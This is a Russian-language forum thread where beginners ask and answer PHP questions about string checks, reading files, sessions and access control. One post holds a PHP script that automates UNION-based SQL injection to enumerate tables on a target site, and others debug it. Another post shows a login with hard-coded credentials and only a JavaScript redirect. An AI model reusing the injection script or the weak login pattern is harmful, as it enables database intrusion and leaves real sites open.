[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Isis, ну выебнулся так выебнулся... Ты обратил внимание, что я написал выражение с участием функции trim:

    PHP:
    if (trim($str) != '')
    Перевожу: ЕСЛИ ПОСЛЕ УДАЛЕНИЯ ПРОБЕЛЬНЫХ СИМВОЛОВ ИЗ СТРОКИ, СТРОКА ОСТАЛАСЬ НЕ ПУСТА, ТО ВЫПОЛНИТЬ ВЫРАЖЕНИЕ

    PHP:
    if (!empty($str))
    У тебя же это банально: ЕСЛИ СТРОКА НЕ ПУСТА, ТО ВЫПОЛНИТЬ ВЫРАЖЕНИЕ

    В общем начинай освоение PHP c простых вещей, вроде:

    PHP:
    $var "\r\n";
    var_dump(empty($var));
    а потом будешь пиздецами кидаться...
     
    2 people like this.
  2. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    хорошо. ты мой эталон.
     
    1 person likes this.
  3. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    Еще если я не ошибаюсь обязательно нужно указать тип контента - Content-Type: application/x-www-form-urlencoded или multipart/form-data ...
     
  4. На100ящий

    На100ящий Elder - Старейшина

    Joined:
    9 Jan 2008
    Messages:
    43
    Likes Received:
    1
    Reputations:
    0
    А как считывать файл построчно, чтоб цыкл закончился вместе с концом файла????
    или есть у кого код чтоб перебирать столбцы или колонки в Mysql&&&
     
  5. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    PHP:
    $fd fopen("file_name""r");
    if(!
    $fd)
        {
        echo 
    "Нет файла по указанному пути";
        }
    else
         {
        while(!
    feof($fd))
            {
            
    $stroka str_replace("\r\n",""fgets($fd));
            
    add_data($stroka); // заносим строку в таблицу (функция add_data - пользовательская) 
            
    }

    }
    fclose($fd); 
     
    2 people like this.
  6. На100ящий

    На100ящий Elder - Старейшина

    Joined:
    9 Jan 2008
    Messages:
    43
    Likes Received:
    1
    Reputations:
    0
    Подскажите где ошибка, вроде всё правильно, но не находит существующие столбцы в MYSQL!
    <?
    @set_time_limit(0);
    $strverno=file_get_contents("site/index.php?id=1+UNION+SELECT+1,2,3,4,5,6,7,8,9+from +pro.users+limit+1,1/*");
    preg_match_all("/<a href=\"(.+)\">(.+)<\/a>/isU",$strverno,$m);
    foreach($m[2] as $s){
    }
    $fd = fopen("kol.txt", "r");
    while(!feof($fd)) {
    $ma=trim(fgets($fd));
    $str=file_get_contents("site/index.php?id=1+UNION+SELECT+1,2,3,4,5,6,7,8,9+from +pro.".$ma."+limit+1,1/*");
    preg_match_all("/<a href=\"(.+)\">(.+)<\/a>/isU",$str,$p);
    foreach($p[2] as $k){
    }

    if($s==$k){
    echo "ok, exist";

    }
    else {
    echo "error";

    }
    }
    fclose($fd);
    ?>
     
  7. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    PHP:

    foreach($m[2] as $s){
    }

    foreach(
    $p[2] as $k){
    }



    а это так и должно быть что цикл открылся и сразу закрылся, не выполняя никаких действий??
     
    1 person likes this.
  8. max_rebel

    max_rebel Elder - Старейшина

    Joined:
    18 Oct 2007
    Messages:
    460
    Likes Received:
    31
    Reputations:
    0
    Привет всем
    Подскажите пожалуйста как разместить <?php include("footer.inc");?> именно внизу страницы независимо от того сколько всякого на странице уже размещено - т.е. так чтоб футер всегд был только внизу страницы
    спасибо
     
  9. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    в самый конец кода вставляй....
     
  10. На100ящий

    На100ящий Elder - Старейшина

    Joined:
    9 Jan 2008
    Messages:
    43
    Likes Received:
    1
    Reputations:
    0
    Корвин
    Да, цыкл возвращает $k=4, тоесть раскрутка масива и получение значения!
     
  11. Buffalon

    Buffalon Elder - Старейшина

    Joined:
    22 Mar 2008
    Messages:
    241
    Likes Received:
    34
    Reputations:
    8
    Плиз дайте хорошую ссылку про то 'Как обезопасить свой код (РHP+Mysql)' короче наверн поняли.. .
     
  12. Red_Red1

    Red_Red1 Banned

    Joined:
    12 Jan 2007
    Messages:
    246
    Likes Received:
    258
    Reputations:
    83
    2 Buffalon
    http://bvisoft.com/reads/263.php
    Вот почитай, используя mysqli можеш забыть про СКЛ-инъекты
    А вот общее по безопасности, мне понравилось ;)
    http://www.1c-bitrix.ru/security/recommendations.php
     
  13. Zircool

    Zircool Elder - Старейшина

    Joined:
    1 Mar 2006
    Messages:
    162
    Likes Received:
    37
    Reputations:
    5
    Как осуществить авторизацию к определенным скриптам, на прямой доступ к скрипту что бы тебя отправляли на форму авторизации... Без использования .htpassw именно php скрипт... Приведите пож короткий пример, выжная часть вопроса, это как запретить доступ к опред скриптам...
     
  14. [504]

    [504] New Member

    Joined:
    6 Dec 2005
    Messages:
    8
    Likes Received:
    3
    Reputations:
    0
    например так:
    В каждом скрипте пишем(или же пишем в одном отдельном файле, на котором потом include поставить)
    Смотрим авторизован ли юзер(смотря посредством чего идет авторизация, у меня пример проверки сессии):
    PHP:
    <?
    session_start();
    if (!isset(
    $_SESSION['login'])){
       echo 
    "Доступ запрещен. Авторизуйтесь";
       exit;
    }else{
       
    //Тут можем сделать запрос в базу
       //Посмотреть имеет ли данный юзер доступ к скрипту
       //Естесственно, должна быть соответ. база
    }
    //далее сам скрипт
    ?>
     
  15. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    а зачем тут елсе?
     
  16. [504]

    [504] New Member

    Joined:
    6 Dec 2005
    Messages:
    8
    Likes Received:
    3
    Reputations:
    0
    У меня вопрос.
    ООП в пхп. У меня прописаны классы для работы с MySQL.
    Есть функции которые выполняют определенные действия и внутри себя обращаются к классам....
    На денвере все нормально работало, но хостинге выскакивали ошибки, типа не возможен доступ к объекту на линии такой-то. Хотя обращался я к классу до функции($con = new MySQLconn(); ), и в самой функции естественно кидал эту переменную в GLOBAL $con .. далее обращение к экземпляру класса $result=$con->createResult($string); Собсвтенно это и вызывало ошибку.

    Тут подумал что это не совсем правильно, и надо убрать все функции и сделать классы которые были бы exception(наследованием) класса MySQL
    Стоит ли? Ведь это приводит к усложнению скрипта и времени разработки.
    Возможно есть какой-нибудь компромис?
     
    1 person likes this.
  17. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Убрать все функции и сделать все классы потомками класса для работы с БД - что-то тут определённо не так.

    exception - это "исключение".
     
  18. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    http://www.php.su/security/
    + моск))
     
  19. Zircool

    Zircool Elder - Старейшина

    Joined:
    1 Mar 2006
    Messages:
    162
    Likes Received:
    37
    Reputations:
    5
    Проблема с написанием авторизации... есть скрипт login.php

    PHP:
    <form  method="POST">
    <br/>
    &nbsp; &nbsp; &nbsp; Login:<input type="text"  name="log" title="Введите login" value="">
    <br/>
    <br />
    Password:<input type="text"  name="passwd" title="Введите password" value="">
    <br/>
    <br />
    &nbsp; &nbsp; &nbsp; <input type="submit" name="sub"  value="   Go!  " />
    <br/>
    <br/>
    </form>
    <?php


    $password
    ="1";
    $login="1";
    if(isset(
    $_POST['sub']))
    {
    $inputlogin=$_POST['log'];
    $inputpassword=$_POST['passwd'];
    $inputlogin=trim($inputlogin);
    $inputpassword=trim($inputpassword);

            if(
    $inputpassword==$password && $inputlogin==$login)
            {
            print  (
    "<script>document.location='admin.php';</script>\r\n");

            }
            else
            {
            echo 
    "<font color=Red>Неправильный пароль</font>";
           }
    }


    ?>
    И есть скрипт admin.php, к которому и нужно открыть доступ через Login.php и сделать запрет на прямой доступ к скриту... Каким образом запретить прямой доступ к скрипту admin.php и при прямом доступе отправлять пользователя на линк авторизации..
     
  20. vizard-06

    vizard-06 Elder - Старейшина

    Joined:
    6 Dec 2006
    Messages:
    55
    Likes Received:
    8
    Reputations:
    0
    Zircool создавай в login.php сессию а в admin.php проверяй на существование её :)
     
Thread Status:
Not open for further replies.